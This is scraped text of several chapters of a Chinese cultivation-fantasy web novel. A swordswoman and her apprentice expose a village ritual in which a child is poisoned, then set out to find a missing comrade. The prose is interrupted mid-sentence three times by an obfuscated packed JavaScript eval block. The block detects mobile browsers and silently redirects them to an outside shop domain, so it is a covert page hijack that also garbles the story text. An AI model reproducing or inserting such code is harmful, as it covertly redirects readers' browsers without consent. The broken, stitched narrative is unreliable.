云朵伸出手,在他眼前和耳边分别拂过,霎时间,长生感觉自己的视觉和听觉都灵敏了几倍。原本像高墙一样的人群不再是阻碍,他可以清楚地看到被人群围在中央的知夏和村长,甚至能听清他们低声交谈的内容。 “哇!师父,这是什么法术?好神奇啊!能不能教教我?” 云朵见长生一脸崇拜和期待地看着她,没忍住笑出来:“想学啊?那你还得继续刻苦修炼,你现在这点法力可掌握不了这俩术法!” 长生一听,顿时蔫了:“那我要修炼到什么程度才能学呀?” 云朵摸了摸他的头,语重心长道:“首先,你得先筑基,再来谈学习术法。不然你的身体里连暂时收集和转化灵力的地方都没有,就算学了施术方法,也很难随心所欲地使用。” “哦……”长生被她的一番话说服了,不再继续追问,安静地等待仪式开始。 一串清晰响亮的锣声打破了清晨的安宁。 锣声停后,人群陷入寂静。 辰时已到,仪式开始。 知夏静静立在人群中央,纤细的身影像一棵小松树。他身着蓝白锦服,腰间佩戴一枚温润的白玉佩,素净的小脸跟礼服的内衬一样白。他的双眼平静地注视着面前层层叠叠的人群,目光仿佛已穿过人群,望向遥不可及的远方。 村长上前一步,清了清嗓子,朗声道:“灵溪村的各位父老乡亲,今天我们有幸齐聚于此,共同见证北斗童子来到他人生的第十个年头!” 村长话音刚落,人群顿时爆发出一阵山呼海啸般的欢呼。 长生猝不及防,脑袋都被这阵声音炸得嗡嗡作响,连忙用双手死死捂住了耳朵。 村长等了半晌,不得不伸出右手,掌心向下按了按,人群的声音随之小了下去,又恢复了安静。 云朵眯起了眼睛。 知夏就站在众人面前,然而人们比起神使的意愿,显然更加听村长的话。 村长安抚了兴奋的人群后,转过身去,面对着知夏。 知夏也侧过头去,注视着他。 “十载光阴,你承天地之清露,受日月之华光,长成了如今这般通透的模样。你不似凡间那些懵懂的孩童,你生来便与众不同。” “你为我们带来了数不清的希望,为我们传递了无数的愿望。你将光明带给了我们,却将孤独与苦痛留给了自己。” “如今,你终于功德圆满,得以回归宁静。” 说罢,村长从一旁的供桌上端起一只白瓷碗,碗中乘着清澈透明的液体。他双手捧着碗,走到知夏面前,双手微微前伸,将碗奉上。 知夏的视线随着他的靠近,转移到了碗中,他看着碗中摇晃的液体,平静无波的眼底闪了闪。那抹情绪消失得太快了,云朵有些拿不准到底是不是她看错了,只好压下心中的疑虑,静观其变。若是知夏有什么异样,她便直接提剑冲上去,抢了人就跑。 再怎么说她也是个金丹修士,面对一群连灵力都没有的人,她还是有信心能全身而退的。 在她默默编织“救人”计划的同时,知夏已经接过了白瓷碗,将其中的液体一饮而尽。 村长从他手中拿走了空碗,将碗伸向围观人群,倒扣下来,以证明碗中的液体已被完全喝完。 “这盏圣水里,映着今日的晨光,也映着你来时的路。” “愿它涤净你心中的凡尘,引你走向至纯之境。” 随着村长的话音落下,四个原本立在知夏身后的男子走上前来,每人都捧着一个陶罐,将知夏围在了中央。他们训练有素地同时举起手中的陶罐,一手扶着罐口,一手托底,陶罐中的水缓缓倾倒在知夏头顶,顺着他的脸颊淌了下来,浸湿了身上繁复的华服。 长生凑到云朵跟前,小声问:“师父,你以前参加的生日宴,有这么个步骤吗?为什么要往寿星头上浇水啊?” 云朵也纳闷呢,就算寿星需要净身,一般也都是参加仪式之前。寿星当着宾客的面净身的,她也是头回见。 “没有……难道是我沉睡的这二百年间,风俗变了?” 长生:“啊……?” 四罐水倒完,知夏已经变成了落汤鸡,鬓发一绺一绺地粘在脸颊上,多余的水从下巴尖一颗一颗地坠落,融进早已湿透的礼服。 与狼狈的外表相反,知夏的神情格外平静,好像真的被洗去了多余的凡俗情感,对一切外在事物都不再关心。 “净身已毕,为童子加冠祈福!” 随着村长一声高呼,一对中年夫妇来到知夏面前,男人手中捧着一顶纯金打造的发冠,妇人挽起知夏湿漉漉的长发,盘成发髻,扣上发冠。 整个过程中,三人既无眼神上的交流,也没有任何可以称得上喜悦的表情。 长生用手肘捅了捅云朵,问道:“他们这仪式也太奇怪了吧,生日不应该高兴吗?怎么每个人都一副死人脸啊?” 云朵挨了两下,反手制住长生的胳膊,将他剩下的动作都挡了回去。 “十岁就加冠,我今天也算是长见识了。” 她俩还在悄悄咬耳朵,却不知人群中谁起的头,歌声渐次响起,从三两人扩散到了整个人群。 云朵和长生面面相觑。这歌他们之前只在敬神祝祷仪式上听过一次,完全不会唱啊! 但这再怎么说,也是知夏的十岁生辰宴,看村里人的阵仗,定是相当看重这个仪式,她们在这里闭着嘴装木头人,多少是有点不给面子了。 云朵眼一闭,心一横,开始张嘴胡乱对口型,反正只要她不出声,就不用担心唱错,不会变成整场仪式的不和谐音。 就当是重在参与了! 长生大眼睛一转,开始跟着云朵有样学样,也装模作样对起了口型。 二人就这么浑水摸鱼,对付完了一整首祷歌。 “礼成,福至!吉时已到,宴会开始!” 人群接收到指令,一哄而散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062207|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,跑到广场外搬来桌椅板凳,不一会儿,广场中就摆满了大大小小的木桌。又有人从村长家厨房端出一盘盘菜肴,摆在桌上。 云朵拉着长生,二人一起寻了两个角落中的位置坐下。 饭菜上齐,众人落座。 盘中摆满了青菜和鲜果,每桌都放着两瓶淡酒。云朵淡淡扫了一眼瓶中的酒液,只给自己倒了一碗清水,并顺手拍开了长生偷偷伸向酒瓶的手,在他委屈的目光下,给他也倒了一杯清水。 盘盏间都是谈笑声,就连云朵也架不住同桌用餐人的热情,时不时回应一两句。唯有知夏,作为这场宴会的主人,却是全场最平静的人。他只在饭菜上齐后,象征性地把每样食物品尝一口,便聊下筷子安静地看着大家,仿佛这方小小天地间的一切热闹与喜悦,都与他无关。 宴会持续了一个时辰才算结束,知夏被村长带走休息去了,云朵和长生留下来帮着收拾打扫。他们将邻近几张桌子上的碗和盘子摞成两摞,一人抱着一摞往厨房去,还未进屋,便听见了屋中有人在闲聊。 “……这样一来,他也就解脱了,不知道下一任是谁?” “我觉得老张家的闺女靠谱,那孩子生得灵巧,星君一定会喜欢的!” “我咋听说是大山家的儿子?爹刚去世,娘又疯了,星君不是最看重这种命途坎坷的小孩了吗?知夏被选上时,不也是父母都去了……” 那人话刚说到一半,木门“咚”地被撞开,吓得屋里几人一激灵。云朵带着长生跨进屋里,将手中的餐具往灶台上一摆,冷冷笑着问:“几位在聊什么?介意我一同参与吗?” 其中一人见她面色不善,喏喏道:“云姑娘……可是谁惹你生气了?” 云朵可不想被他们牵着转移了话题,连脸上的笑容也收起来了,追问道:“你们刚刚聊到的‘下一任’是什么?” 几人你看看我,我看看你,面露犹豫,却没一个人张口。 云朵看着这个场面,心中已经明白了七八分,她一拍剑鞘,盈盈剑“铮”地一声出鞘,浮在半空中震颤作响,剑尖直直着指着对面几人。 那几人终于变了脸色,扑通通跪了一地,开始哭喊求饶:“仙人饶命啊!我们真的不知道这是怎么回事!” 云朵上前一步走近他们,蹲在了离她最近一人面前,剑尖也随着她移近了几分。 “不知道?那便把知道的全都说出来!这屋里现在已被我的灵力充满,若你们说了半句假话,我便能察觉到,到时候……”她故意把后半句话咽了回去。 跪在地上的几人已经抖如筛糠,哆哆嗦嗦地道:“我们……我们村里的北斗童子,因为要以肉体凡胎承接神的恩惠,因此每一任都活不过十岁。今天刚好是知夏的十岁生日宴,所以……我们才猜测下一任童子可能的人选。” 云朵:“活不过十岁,那他们都是如何去世的?” 那人:“我们真的不知道!每一任童子都是在十岁生日过后就消失了!村长说……说他们的□□承受不住星君的神力,消散于天地间了!” 云朵气笑了:“简直是胡说八道!” 那几人见云朵动怒,生怕她一气之下用剑把他们穿成一串,激动道:“真的!我们绝对没有说谎!您要是不信,可以去找村长!这些都是他说的,每任童子的人选也都是他指定,然后把人带回去培养。” 云朵的眼前浮现出了知夏平静的脸,下一瞬又跳到了山洞中的累累白骨和满墙文字。 “师父?”长生见她出神,伸出手扯了扯她的袖口,“他们可能真的没有说谎,我们要不要去问问村长?” 云朵抬手,盈盈剑在空中划出优美的弧线,剑柄落入她的掌心。 “不了,我们直接去那个山洞。” 48. 灵溪有碎梦(6) 云朵担心知夏有危险,片刻不敢耽误,御剑带着长生往之前那个山洞赶。 谁知在半路上,竟碰到了村长一行人。村长走在前面,后面缀着几个惯常跟在他身后的壮汉,却不见知夏的身影。 云朵心里一沉,向剑中灌注更多灵力,加速向前飞去。飞剑破空声引起了村长等人的注意,他们抬头见到二人远去的背影,眼中闪过了阴毒的光。 远远地,能够看到山洞的轮廓了。盈盈剑带着他们直冲进洞穴最深处,在那里,有一个小小的身影面向墙壁蜷缩着,身上穿着单薄的白衣。 “知夏!”云朵喊着他的名字从剑上跃下,扑到他身前,将他翻过来。 小小的孩童闭着双眼,面色雪白,嘴唇青紫,搭在胸口的手中紧紧攥着一块尖锐的石头。 知夏手忙脚乱地翻着背包,从里面找出一个小瓷瓶,递给云朵:“师父,这是你之前给我的丹药,快!快给他吃几颗!” 云朵沉默片刻,摇头道:“不必了,已经来不及了。” 长生呆住:“怎么会……” 云朵静静地看着知夏,他的脸上还是那么平静,如果不是他的胸膛已经不再起伏,脉搏也不再跳动,恐怕她真的以为他只是睡着了,一夜无梦。 他在生命的最后一刻,会想什么呢? 云朵的视线从知夏脸上移开,飘向他之前蜷缩着的墙根,那里有一行小小的字,字迹歪歪扭扭,是主人忍着肺腑被毒药撕扯的痛苦,一笔一划刻下的。 长生也看到了那行字,颤着声音念出来: “若你们来时,我尚有残魂……你们便带着它一起上路吧……” 话音落下,只剩下低低的呜咽声。 沉默良久,云朵苦笑了一声,喃喃道:“可我根本不会招魂啊,知夏。” 知夏不会给她任何回应,她也没有奢求任何回应。 “但你若想看看灵溪村以外的世界,那便跟我们走吧。”她顿了顿,继续道,“只不过,你别怪我骗了你,现在外面的世界,远没有我给你讲的那么美好了。” “但你放心,直到现在,也依然有一群人在努力,希望它有朝一日能恢复从前的样子。” “我也是其中的一员,尽管我的力量还很弱小。” 她说着,目光停在知夏单薄的衣衫上。她解下腰间的储物袋,从里面找出一件蓝白相间的披风。那是她刚到浮云宗不久,季来之送给她的。她小时候身体弱,常常感染风寒,季来之就不知从哪儿寻来这么一件披风,用料考究,面料入手冰凉,披在身上之后却能自己发热。 她将披风盖在知夏身上,又整理了一下他凌乱的头发。 “你很冷吧,披上这个就暖和了。” 长生停下了啜泣,抱着膝盖缩在一旁,呆呆地看着墙壁上的字,不知在想什么。 四下里只剩寂静。 突然,从洞口处传来嘈杂的脚步声。云朵抬头看去,见五六个人举着火把,朝她们走来,为首的人头发花白,眼神死死地盯着她们,目露凶光,哪里还有之前威严又祥和的模样。 村长:“云小姐,你们远道而来,我们本应以礼相待。却不知云小姐为什么非要来趟这浑水?” 云朵懒得看他,只问道:“村长大人是打算将我们也变成这里的枯骨吗?” 村长:“若你们就此离开,永远不再回灵溪村,我也可以放你一条生路。” 云朵哼笑一声,像听到了天大的笑话。她转头问长生:“你相信他说的话吗?” 长生摇头:“我一个字都不信。” “你们!”村长被她们的态度激怒,咬牙切齿地对身后几人道,“抓住他们!” 云朵挑眉,甚至对他们的自信有些钦佩了。她正要出手,便感觉到腰间的储物袋一直在轻颤,她解开系带,发现这振动是由一个早已被她遗忘的东西带来的。 一个黑色的蛊盅。 云朵小心地揭开盖子,一只血红色的细足蜘蛛一下弹了出来,她偏头一躲,它便落在了云朵肩上。 “解忧……?”云朵有些摸不到头脑,先不提这二百多年,它不吃不喝是怎么活下来的,难不成蛊虫也能辟谷?它在云朵醒来后一直沉默,却在这个节骨眼上突然彰显存在感,到底是为了什么? 解忧像是为了解答她的疑惑,抬起腹部,一束透白的蛛丝喷射而出,缠在了村长等人身上。 那蛛丝看着弱不禁风,好像稍微用力就能扯断,但实际上手后才发现,非但扯不断,蛛丝上好像还沾着什么毒物,碰到皮肤就是一阵火辣辣的灼痛感。 村长被蛛丝折磨得不轻,怒道:“这是什么东西?!你们在耍什么花招?” 长生是第一次见解忧,也是头回见这么诡异的招数,不安道:“师父,这是什么呀?” “别怕,这是我的蛊虫,不会伤你的。”云朵低声安抚完长生,又抬头看向村长等人。解忧还在源源不断地向外吐着蛛丝,村长等人身上的蛛丝越来越多,越缠越紧,已经开始影响他们的行动了。他们手中握不住的火把掉落在地,点燃了洞中的植物,火舌很快蔓延开来,舔舐上他们的衣角。 伴随着一阵阵惨叫,村长一行人全都被火焰吞噬,很快便化作一块块焦炭。 早在第一簇火苗窜起时,云朵就在他们面前立起了一道屏障,将火焰阻挡在外。直到火焰熄灭,云朵才撤去屏障,踱步到几具残骸前。 长生亦步亦趋地跟着过去,用手挡在眼前,不敢看向地上的焦尸。 云朵发现了他的小动作,瞥了他一眼,问:“你害怕?” “没有没有!我才不怕呢!”长生矢口否认,虽然放下了手,视线却不往地上看。 云朵无奈道:“害怕就害怕,跟我还有什么不敢说实话的?” 长生被看破了心思,也有点不好意思:“……毕竟是我看着他们被烧死的,虽然知道他们都是坏蛋,但心里还是有点不舒服……” “而且师父,你怎么又突然掏出来个蛊虫啊?你还有多少我不知道的招数?” 云朵噎了一下,心说蛊虫这个事吧,要不是它自己今天主动请战,连她都忘在脑后了。但实话实说,作为师父显得实在掉价,只好故作深沉地咳了一声,道:“你师父我可是金丹修士,会的招数可太多了,你有的学呢!” 说完,她用手指轻轻抚了抚解忧,对长生说:“我们把这几个人清出去,不要扰了这些孩子的清净。” 长生得令,跟着云朵一起,先用解忧的蛛丝将它们缠紧了,再拖着丢出山洞。 “师父,我们要不要把知夏带回灵溪村去呀?” 云朵想了想,答道:“不必了,知夏不是说了吗,想要跟着我们一起去看看外面的世界。他已经被那破村子的破习俗害死了,换做是我,就算再死一次也不要回去。” 长生:“那……我们就这么走吗?绯云呢?” 云朵:“绯云自然是要回去取的,不过在那之前,我要先用法阵把这个洞口封上。这些孩子生前遭受了这等迫害,我希望他们死后不会再被打扰。我打算联系一下林公子,让他派人来将这些人接到栖云镇生活,一方面补充了栖云镇的人手,另一方面,也防止这里面还有些执迷不悟的,继续用这些糟粕来害人。” “这样的话,这洞里以后再也不会有新添的白骨了。” 云朵封好洞口,带着长生回到了灵溪村。村中依然是一片祥和的景象,村长大概是在发现他们二人的行踪后,没来得及回村子,直接返回山洞去截杀他们了。 他们回到了暂住的院子,长生的几个小徒弟大概是闲着没事,又跑到这里来打闹了。见他们回来,像一窝小鸡仔一样奔向他们。 “是师父和师祖!” 云朵一个趔趄,稳住身形后,朝长生投去一个疑惑且嫌弃的眼神。 长生委屈:“师父,你别这么看着我呀!我就提了一嘴你是我的师父,他们就这样叫起来了。” 云朵本不想跟村中的小孩搞好关系,但人家都叫她师祖了,她也只好蹲下来,笑着同这几个徒孙说话。 “你们几个,知道今天是什么日子吗?” “知道!我妈妈告诉我了,今天是北斗童子十岁生日!” “今天过后,北斗童子就要换人啦!” 云朵的眼神暗了暗,又问:“那,你们想不想当北斗童子呀?” 几个小家伙你看看我,我看看你,面上都带着犹豫。 “不要吧!” 云朵奇道:“为什么呢?当北斗童子能吃好吃的,还有华丽的衣服穿,走到哪里,哪里的人就要恭恭敬敬地问候,这样不好吗?” “可是,北斗童子不能随便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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二人离开灵溪村后,云朵用通讯符联系了林星遥,向他讲述了灵溪村的事。 林星遥面色凝重地听完,叹道:“他们这番做派,倒是让我想起了一些人,说不定灵溪村的村民正是那些人的后裔。” 云朵道:“你不会想说,这些人的祖先是从栖云镇出来的吧?” 林星遥无奈道:“恐怕是的。这些人是祝祷派的一个分支,祝祷派奉你为神明,但这些人却信奉另外的神明,因此被族人排挤,主动离开了栖云镇。没想到这么多年过去,他们居然还存在于世,甚至形成了颇具规模的村庄。” 云朵捂住了脸,崩溃道:“天啊,我还跟村里的小孩说要让你接他们到栖云镇生活,这下怎么办?” 林星遥笑道:“也许并不是每个村民都那么虔诚,很多人只是跟着旁人有样学样,不然村中的孩童怎么会觉得当上北斗童子不一定是好事呢?” 云朵挠挠头:“也对,至少村里的小孩还是有救的。” 林星遥:“云姑娘放心吧,我这就让柳公子带人过去,将村里人带回栖云镇安置。” 云朵:“好!说起来,我离开之后,大家都还好吧?” 林星遥犹豫了一下,道:“其实……岳公子在一个半月前带队外出除雾,不久后便与我们失去了联系。” 云朵大惊:“什么?!我到灵溪村前还遇见他,当时我和长生遭遇了黑雾的袭击,是他将我们救出。” 林星遥皱眉道:“他本要去西南边驱雾,按照之前的习惯,每周至少回联系我们一次,汇报大致情况。这次竟有一个多月没有联系,实在是反常,我担心……” 云朵明白他未说出口的后半句,因此主动请缨:“西南边是吧?我们过去一趟,看看到底是怎么一回事。” 林星遥不太放心,叮嘱她:“云姑娘,那边现在不知是什么情况,你和长生只有两人,贸然前去恐怕有危险。” 云朵冲着浮在半空的虚影笑笑:“没事,我这也不是要去跟黑雾拼命,只是去探一探那边的情况,见势不对我们就跑,实在不行我这里还有传送符呢,打不过我们还跑不过嘛!” 林星遥见劝不动,只好妥协:“总之,你们万事小心。” 49. 剑骨铸英魂(1) 接下了寻找岳沉舟的任务,云朵一扬缰绳,驱马朝林星遥说的方向奔去。 长生虽与岳沉舟没多熟稔,但总是听说过他的事迹的,不久前又刚被救过一次。因此得知他失踪,心情也十分沉重。二人一路无话,耳边只剩下哒哒的马蹄声。 许是在灵溪村住的这些时日,让他们习惯了人多热闹的氛围。一下子回到万径人踪灭的环境里,跑半天连个活物的看不见,像是从梦境中一下子抽离,回到了现实,还真有点不适应了。 云朵看着长生后脑勺上飞扬的头发,率先打破了沉默:“哎,徒弟,你要不要说点什么?” 长生挠了挠头,有些不确定地问道:“说什么啊?” 云朵甩了一下缰绳,回道:“随便说点什么都行,比如……你跟岳沉舟熟吗?” 长生想了想,不太确定:“我肯定是认识他的,毕竟他是驱雾队的骨干队员之一,在战斗中总是身先士卒,在栖云镇很有威望!不过他应该不太认识我吧……我们也没有直接说过话。” 云朵:“这样啊……” 长生突然想到了什么,开始卖关子:“师父,你想不想知道关于驱雾队的事?” 云朵原本只是想让长生出点声,好打破沉寂。现在听见他这么说,好奇心也被勾起来了:“那你说说呗。” 长生开始娓娓道来:“我听说驱雾队的历史很长,跟神木同期出现的,创立者就是陆、柳、岳那三位公子。” “啊。”云朵稍感意外,仔细一想,似乎又在情理之中,于是感叹道,“不愧是天剑阁的人啊!” “天剑阁?”长生好奇地回头问。 “嗯……就是二百年前的一个顶尖门派,主修剑,弟子们以武痴为主。”回忆起过去的事,云朵脸上不由得露出了怀念的表情,“那三位公子都是天剑阁的精英弟子,陆公子是大师兄,柳公子和岳公子谁资历更深一些我就不太清楚了。”主要是修仙之人结丹后外貌变化缓慢,光靠外表也判断不出来年龄。 “哇……”长生发出一声感叹,“虽然知道你们以前就认识,但听师父你说起来,还是觉得好神奇。” 云朵笑道:“别说你了,我自己讲起来都觉得神奇,竟然都过去二百多年了啊……” 长生眨眨眼,好奇道:“师父,修仙之人都像你们一样,不会变老吗?那我变厉害之后,也会这样吗?” 云朵:“是的,修仙之人的寿命比普通人长很多,因为有天地灵气的滋养,容颜也可以停驻在自己想要的年纪,只有阳寿将尽时才会显出衰老之相。” 长生听后,默默地在心中给修仙动力上又加了一条。 二人有一搭没一搭地聊着,渐渐地行进一处山坳。长生正手舞足蹈地讲着他小时候的事情,突然感觉缰绳被猛地一拽,绯云一声长啸,马脖因受力而后仰,连前蹄都扬了起来。 长生差点被这突如其来的变故甩下马背,赶紧伸手抱住云朵的胳膊,稳住身形。 “师父!你突然干嘛……唔!”长生的抱怨还没说完,就被云朵一把捂住了嘴,只能发出不满的“唔唔”声。 “嘘,别出声。前边情况不太对。”云朵低声喝止。 长生这才把头转回正前方,凝神细看。他们脚下的土路直直通向山坳中,这山坳确实有些奇怪,明明是白天,里面却灰蒙蒙一片,不像因空气潮湿而凝成的水汽,倒像一种她们最不想看见的东西—— “那是……黑雾?”长生不确定道,声音里带着颤。 云朵按住他的肩膀,在他耳边道:“你在这里等着,我过去看看情况。” 她不说还好,说完之后,长生反而一脸惊恐地把她的胳膊抱得更紧了。 “师父,你别把我一个人留在这儿啊!万一、万一你走之后它们突然来了,那我不就死定了吗!” 云朵沉思半晌,道:“确实有这种可能性,那你跟着我进去?看这山坳里的颜色,黑雾的浓度应该不高,但也不知道我们的到来会不会刺激到它们……你觉得跟着我进去会更安全吗?” 长生慌忙点头,急切道:“至少你逃命的时候可以带上我!你不是有那个叫传送符的东西吗!” 云朵笑骂:“这你倒是记得清楚!跟紧了!要不然到时候还得多浪费我一张传送符!” 正如云朵所说,前方山坳中的黑雾浓度不高,颜色比她们之前碰见的黑雾淡了很多,更接近灰色。他们没敢骑马进去,将绯云留在了山坳外,手持佩剑,悄无声息地摸进了山坳。 山坳中静悄悄的,弥漫的雾气让五米外的景象都难以辨清。 长生跟得紧紧的,恨不得能粘在云朵身上。 “师父,我们就这样进去吗?要不要使个防御法器什么的。” 云朵用空着的手敲了下他的头,骂道:“刚刚叫你在外面等着,你不肯,现在还开始给我提上要求了!” 长生不满道:“可是前面什么都看不清啊!万一从哪里蹿出来个什么……” 云朵恨不得把他的嘴堵上:“呸呸呸!你少乌鸦嘴!” 说完,她灵光一闪,从储物袋中掏出装着解忧的蛊盅,将它放了出来。 “解忧解忧,你去前面帮我们探探路。我握着你的蛛丝,若是前面没有危险,你就抖一下,若是有危险,就抖两下。” 解忧接到命令,在云朵的食指上粘了一根蛛丝,便纵身一跃,钻进了浓雾中。云朵握着盈盈剑,挽出几道剑花,形成光壁将她和长生包裹在中间。 “长生老板,这下你可放心了?” 长生撅起嘴:“师父你就知道欺负我!早有这些办法怎么不早用啊!” 云朵:“徒儿,你这个胆子真是得练练啊,总靠为师壮胆,你什么时候才能独当一面啊?” “我这叫小心谨慎!万一黑雾在里面埋伏咱们呢!” “嗯嗯,你说的没错。”云朵敷衍道,随之觉得食指上的蛛丝颤了一下,“解忧给我发信号了,前面安全,咱们走吧。” 他们顺着蛛丝的方向走,一路走,一路感受着解忧传来的信号。 正如云朵预料那般,这里的雾气没有什么威胁,如果要类比的话,更像是黑雾遗留在此处的残骸。 走着走着,云朵突然有种奇异的感觉,她拽拽蛛丝,道:“解忧,去那边看看。” 手中的蛛丝调转了个方向,伸向了云朵所指的地方,半盏茶的工夫后,云朵手中的蛛丝犹犹豫豫地颤了一下。 云朵和长生向着解忧所在的地方走去,灰色的雾气中逐渐出现了一点鲜红。解忧安静地趴在地上,让云朵惊奇的是,目之所及的地面上纵横交错着几十道剑痕,有些浅浅的一道,仿佛只是剑尖不小心划过;有些却入土三分,恍然还能感受到留下这道剑痕的人在面临着如何危急的情况。 长生小心翼翼道:“师父,这里看上去经历过一场恶战。” 云朵蹲下,用手抚过一道道狰狞的痕迹,指尖感受到了微薄却暴戾的灵流。它们和着主人的怒意释出,被困在了剑痕中,久久不能散去。 她霍地起身,对解忧和长生道:“走,我们再去附近看看。” 两人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062209|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虫一边走,一边辨认,往剑痕密集的地方走。走着走着,他们眼前突然出现了一把剑,剑尖深深地插在土里,剑刃已经在无数次的交锋中变得不再锋利,坑坑洼洼。剑柄末端拴着一条长长的剑穗,被他们带起的气流拨动,小幅度摇晃着,像是他乡遇故知,在同他们招手。 看见这个场景,云朵悬着的心沉了下去。 每一个主修剑法的修士,在第一次拿起剑时,就会被教导,见剑如见人。剑修的本命剑是不能轻易离身的,本命剑离身,大概率昭示着剑的主人已经身死道消。 这个道理,云朵自然也是教过长生的,所以刚刚消散的不安再次回到了他的脸上。 “师父,岳公子他……会不会……” 云朵沉着脸,握紧剑柄,举剑指天,盈盈剑霎时间光芒大盛。雾气在碰到剑气时,仿佛遇到洪水猛兽一般退避。 以云朵为中心,四周的雾气散开,一柄又一柄失去主人的剑出现在他们眼前。它们或立或卧,静静地诉说着这里曾经的惨烈。 云朵拍了拍还在愣神的长生,道:“现在还不能下结论。但岳公子既为剑修,若他活着,一定不会让武器离身。我们在这附近找找,是否有他的武器。” 长生重重点头,二人随即分开。 岳沉舟善用重剑,但由于重剑对使用者的力量要求很高,鲜少有人使用。 经过他们的搜寻,这片战场遗迹中虽然确实有几把重剑残骸,但经过云朵的辨认,都不属于岳沉舟。 岳沉舟的重剑,在二百年前的比武大会上曾经与季来之的双剑交锋数百次,又在前不久将她从黑雾的包围中救下,因此她只需要看一眼,便知道是不是岳沉舟的武器。 在确认附近没有岳沉舟的佩剑后,云朵松了口气。虽然他依然生死不明,但现在没有消息才是最好的消息。 长生也稍稍放下了心,问道:“师父,你说岳公子会撤到哪里呀?” 云朵:“看这里残留的武器和剑气,他带的队伍应该已经元气大伤了。他人虽然逃了出去,但应该也受了伤,只要不是用了传送符,应该不会跑出太远。” 长生:“有道理,但他要是真用了传送符,我们岂不是很难再找到他了?” 云朵:“所以我们就当他没有用,先从周围找起。” 他们花了一天的时间,把整个山坳翻了个底朝天,都没有发现岳沉舟的踪迹。考虑到黑雾喜欢在山坳中袭击人,云朵决定走出山坳后再休息。 第二天一早,长生也顾不得练剑了,二人起来后就直接出发,在更大的范围中搜寻。 可经过近一周的无用功后,他们不得不怀疑,岳沉舟是不是真的用传送符去了不知哪里。如果真是这样,除非他自己出现,别人想找到他简直难如登天。 “扑棱棱——” 一阵振翅声引起了云朵和长生的注意,只见一只浑身雪白的鸽子落在了二人面前的空地上,歪着头瞧着他们。 长生惊讶道:“咦,这地方居然会有这么肥的鸽子?” 云朵也觉得不可思议:“这鸽子看着不像野生的,这附近说不定有人家!” 她的话音刚落,那鸽子翅膀一挥,飞出去一段距离,又落在了地上,转过身来继续看着他们。 长生被鸽子的举动吓了一跳:“神了,这小家伙能听懂我们的话?它这是要给我们带路吗?” 云朵道:“说不定是哪家养的信鸽?那它通人性也就不太奇怪了。我们跟过去瞧瞧,就算岳公子不在那边,我们也能试试能不能打探到一些消息。” 50. 剑骨铸英魂(2) 那鸽子一路扑腾着领着云朵和长生往山上走,山中草木茂盛,云朵不得不用剑砍掉碍事的枝枝叉叉,让长生和绯云能顺利通行,因此行进速度格外缓慢。 长生瞅着那圆滚滚的身子一蹦一跳地前行,新鲜道:“师父,我还是第一次见鸽子爬山呢!它为什么不飞啊?这样蹦跶着走不费劲吗?” 云朵试图帮鸽子找补:“估计它是觉得我们不会飞,又怕我们跟丢,只能将就我们,用这种方法上山了。” 长生:“不过话说回来,这山上有什么啊?我们爬了这么半天,连一根鸟毛都没看见——哎哟!” 长生话还没说完,就见一道残影直扑他的面门。他大惊之下,回手抽出背在背上的木剑挡在身前。一声沉闷的撞击声后,那残影改变了方向,向着他们头上的树枝掠去。 长生举剑抬头,见一只棕色的松鼠立在树枝上,抱着毛茸茸的大尾巴,低头看着他们。 云朵在一边围观完了全程,鼓着掌,悠哉道:“反应不错,看来这些日子的苦练有效果。” 长生气得头顶冒烟:“这是重点吗!它怎么突然就朝我扑过来了,明明砍树枝的人是师父,我也没干嘛啊!” 云朵笑道:“兴许这位也略通人性,所以看出你更好欺负一点?” 长生:“……师父,你要不还是别说话了吧。” 白鸽站在不远处,歪着头看他们你一言我一语,大概是觉得自己形单影只了,随之扑棱棱地飞到了松鼠旁。它们俩看上去是老相识了,一个“咕咕咕”,一个“吱吱吱”,明明听上去不是同一种语言,倒也能聊得火热。 阳光透过层叠的树叶洒下来,林间的光线被繁密的枝叶筛成细碎的金箔。清风抚过,带起一片唦唦声。 忽然,绿影深处传来清晰可闻的步伐声,枝叶依次向两侧分开,一道优雅的身影款款踱步而来。 云朵和长生循声望去,随即都瞪大了双眼。 那是一头健美的鹿,毛色如深秋落叶,鹿角似古木虬枝。看外貌,端的是一幅威严庄重的模样,但它水润透黑的双眼将这种凌厉的气场彻底柔化了。 那双眼睛里没有丝毫野兽的警惕与野性,反而充满了平和通透。它步履从容,修长有力的四肢踏在铺满松针和苔藓的地面上,蹄声轻缓,在距离云朵和长生几步之遥处地停下。 一双鹿瞳专注地看着二人,长长的睫毛在眼睑上投下淡淡的阴影。观察片刻后,它扬起修长的脖颈,长鸣一声,声波如同有形的水纹,层层叠叠地荡漾开去。 鸣声未歇,森林仿佛从沉睡中被唤醒,开始有了回应。 两旁的灌木丛中,几只火红色的狐狸探头探脑,然后像几团火苗一样钻出来,停在了雄鹿身侧。 